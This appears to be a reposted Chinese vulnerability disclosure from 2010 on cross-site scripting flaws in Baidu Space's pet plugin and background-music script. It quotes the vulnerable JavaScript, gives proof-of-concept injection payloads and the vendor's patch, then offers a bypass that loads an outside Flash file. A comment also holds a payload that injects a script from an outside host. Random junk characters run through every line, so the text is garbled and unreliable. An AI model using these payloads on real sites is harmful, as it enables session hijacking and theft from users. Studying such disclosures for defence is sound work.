百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. & O# w& p: F& z% O5 s
8 C( [* `+ t1 b/ S1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
Z& v9 U; {# I; d% ^2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
: c* w8 Y1 h# n$ W% v1 Z+ e) t+ i' B, |
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
1 S' ~+ c% d3 T4 C( k其中BdUtil.insertWBR为 9 L4 A. A+ `* `: w8 F
function(text, step) {
8 ]% N) v1 i9 s* P var textarea = textAreaCache || getContainer();
; M1 W9 G7 r! K6 ~$ k8 ^( o; q if (!textarea) { 1 O' r# F$ p! n2 w% [* u1 ?* W
return text;
$ i2 d/ |: s7 r) Z3 }- p }
' w3 M. z: s6 u9 `' s textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); " C( B( W' z4 L8 n3 }( p
var string = textarea.value; $ |/ ~2 [4 x* R/ H4 O' G
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
2 [, g0 ^# x$ ^0 `/ ~1 @ var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
6 ?* u) H; C3 o return result;
& J0 i5 Q( } q9 I}
. m, K4 R+ `! m# @! D在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. : ^ B8 [) U0 ^7 X8 y9 X/ x
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
$ Z5 V2 R1 c* c! F( e5 d4 w
. T" h# K: l. J+ }- T二:creatbgmusic() Dom-Xss Bug
; H4 s N/ n4 o4 ?百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
' t+ |' E1 H* ]! f; {! E9 [* S# @' P+ F8 o
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
% d" y" ^7 L( S8 r6 g+ ?- I7 m) V5 L9 I0 L- F
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
* n+ m$ U9 f( @; x5 C& J' W //传入的murl赋值到bgmusic1和bgmusic2中 8 V# g+ H0 ]) x4 D- E1 |
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
& ^3 J- F7 j( j, q/ s& ^ var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
! _! n9 z" N: T" |# ~% L* L1 Z if (musicnum <= 1) {
! H$ o' {; X& M; R+ @ P$ Z4 X bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; / P& h5 o0 ~" \% b' t" f, ?
}
! }7 U* x/ ~& L bgmusic1 += "</OBJECT>"; 0 @& K5 u9 G7 C, g, Y
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ( S& O2 S. H Z- M
if (musicnum <= 1) {
5 E' s4 |) S- T7 }5 \' H/ x. i bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
( w Y# L6 K$ v% O0 \ }
$ [/ ]$ T; n9 O% k" Y; M2 V1 n bgmusic2 += "> </EMBED>"; $ {7 E |7 \ L; p6 x) h
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; ; n# o4 i6 f$ t7 M( z* K2 r
var bgmus = detectWMP();
# J! G z8 Y& l. z8 O9 s if (functype == "FckMusicHelper") {
9 {) O& J" d# v. e# Z! O if (bgmus.installed) { : r, H7 [$ |2 Y- _$ C
if (bgmus.type == "IE") { 2 _) o/ E3 n: j. S& }6 F
return bgmusic1;
: O" a5 y% Z: [- S) m& S" I: S } else if (bgmus.type == "NS") {
, Z( z, ?) F4 J6 @9 ?5 k! H return bgmusic2;
, B% m% O, b; d }
3 V: l, R$ I5 b& u0 Z, W! u } else {
! o4 j3 h' ?5 V: Z1 ?, v, i9 F% c return bgmusic3; 2 s7 u' E/ M/ x, ^/ c
}
) o! L& Q1 {0 J/ X3 D( \ } else {
; K& o* F. X9 k# e if (bgmus.installed) {
0 }+ ?3 r0 @" F0 } //document.write 直接输出bgmusic变量 导致xss
* O9 @) n- k2 y) d$ q if (bgmus.type == "IE") {
4 Y4 _5 G0 p4 V7 f; @ document.write(bgmusic1);
/ l% Q" u) q( l( B } else if (bgmus.type == "NS") {
/ J2 Z x. N1 H6 y" c document.write(bgmusic2); 0 [0 [ P) N, f' b- U9 U8 p0 E& E
} ! s# T$ U* R* G8 i* Z
} else { ' p% \1 Y, }9 z: r U
document.write(bgmusic3);
1 e: X" ]/ Q( e3 t% o8 G }
- R& Y6 S; @. S/ u* K2 W' f return "";
0 P7 e8 [( P7 X8 V" z7 V/ a+ { } 4 u, Z9 M. J& |+ ?: x+ G
}
2 A0 H4 K2 K" _ R: D+ B0 i* I. \- W2 q7 y
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
. z7 N% v5 @- b6 K" {" G$ o8 \: t7 ~' k) [9 S8 ]2 D
function initBlogTextForFCK(){ 6 V2 E! Q+ ~1 ?- b3 l7 O! s
//fck init music
9 Z3 D# N! l; Lif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
3 P! q. ?3 l ?, wvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
6 m; C" E+ R; C( C9 S0 D/ p2 Dvar isAutoPlay=true;
' x( f0 ~8 O' Zfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
6 R" G& y9 `5 ^: t8 G var img=imgBox;
B4 g8 a- V$ h) |) y if(img.getAttribute(’rel’)){
4 S: ?6 I% E) h* a var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
. Q' S0 |- D, B0 ? var musicDiv = document.createElement("SPAN");
5 i& v) a0 t- P var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] - K# d0 Y3 g, o% y$ x+ T8 i' z; V; |9 J
1 q) @, O! n O( ?
.......................... 7 Q; F' [% M8 k2 R; k
3 S- K8 ^. X0 D8 N0 \2 G# q+ M //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. " j9 C0 p" v9 L8 o; ~7 ^' C9 I
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ! S- t6 S! o' m' a# Z# p8 u
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
6 l5 H/ m2 q& Q3 c: V musicDiv.innerHTML=shtml;
, _9 I9 Y+ ?+ I' D/ a c+ R# v0 ` i--;n--;
+ F5 O: b, L, s$ O }
( ^% g5 G2 R4 j}
C( g$ ~3 _. J+ R& H) x9 M7 H7 e' s q8 k( {' H3 y1 N$ y
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 7 z2 l& f: ~# @+ M7 w# [- C4 _
9 x g1 z) D4 }; _, l测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 2 Z% J) X: ]" n. q
7 a" Q! y, X( [2 g% s
等待官方补丁 * b6 w0 f: Y2 L' j/ l- U3 D. p
' T: H; c6 K0 M8 c. o; uupdate 2010年5月13日
3 P4 i8 k5 \9 I% U: v) U# Y2 t/ I3 ^. ~4 T
官方补丁:
: j6 J& @/ q$ f% n7 ^# R$ S
7 r4 P4 l! I+ p# b( b! Zvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 1 y* w- {' }) s& f7 q" _" g4 \
改为:
6 ^% d7 }" { P1 i4 l1 q6 g8 d7 wvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); : j! }/ P5 f( m2 H
; W6 ]4 J3 v) M/ K6 R- W* g
update 2010年5月13日 21:50:37
2 h- r. D* d* B; ?6 [. ?' v. @
$ g7 [$ i# V* R* B$ A+ Z补丁存在漏洞 没有过滤" 可以继续跨: 3 w" }+ }% Z! N! Q/ }4 k& G
' |8 H. n' ]3 }, y) G4 u7 ]- {NEW POC: ! @. r& D/ m' C8 [& G
2 Z# ^# Z/ t( ]3 c& ^
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
. m9 l. h5 R+ y- n$ y1 o( n# N1 D, L- `3 Q% B7 R2 }8 C+ {: `; B
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
4 e. x; ?0 {0 Q7 C0 G2 e
8 `" X$ ^# o4 k* A/ R |